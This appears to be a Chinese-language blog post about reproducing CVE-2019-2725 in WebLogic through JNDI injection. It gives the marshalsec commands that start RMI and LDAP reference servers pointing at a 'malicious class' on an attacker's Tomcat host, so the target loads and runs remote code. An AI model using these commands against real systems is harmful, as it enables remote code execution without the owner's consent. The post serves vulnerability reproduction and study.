前段时间,在进行CVE-2019-2725复现时,在第二弹使用了JNDI注入。谈到JNDI自然离不开RMI和LDAP。但是,如果要用代码开启RMI服务未免过于麻烦,毕竟每次都要开启一个idea工程。
为了方便,我们可以使用marshalsec。它的GitHub项目主页为:https://github.com/mbechler/marshalsec 这款神器,可以快速开启RMI和LDAP服务。当然你需要下载源码包,使用maven编译。为了大家使用方便,我在文末的链接里面给出我编译好的marshalsec。
首先,我们需要准备一个http协议的链接容器。我使用tomcat,在tomcat下放置一个恶意类ExportObject
ExportObject
接下来执行下面的命令即可开启rmi
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:8080/文件夹/#ExportObject 8088
#
后面填写你的恶意类的类名,它会自动绑定URI,8088是你开启rmi服务的端口号,如果不加端口号,它的默认端口号为1099.恶意类建议使用jdk1.6编译
rmi
开启ldap方法差不多,我们只需要将RMIRefServer改为LDAPRefServer即可
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExportObject 8088
如果不加端口号,ldap的默认开启端口是1389 最终访问的ldap地址为ldap://ip:ldapport/ExportObject
我们可以在CVE-2019-2725的案例中使用JNDI调用ldap或者rmi服务。这里我以ldap服务来举例。 我们只需要将command中的rmi地址改为ldap即可
command
我们看下效果
weblogic控制台
marshalsec控制台
使用ldap和rmi配合JNDI注入并不是万能的。通过下图,我们可以清楚得知Oracle对其的修复时间。
修复时间
该图由pyn3rd师傅提供。 案例使用的jdk为jdk8u181,刚好是ldap修复的jdk8前一个版本
案例JDK版本
最近百度云禁止分享,待解除以后,我将及时分享
pyn3rd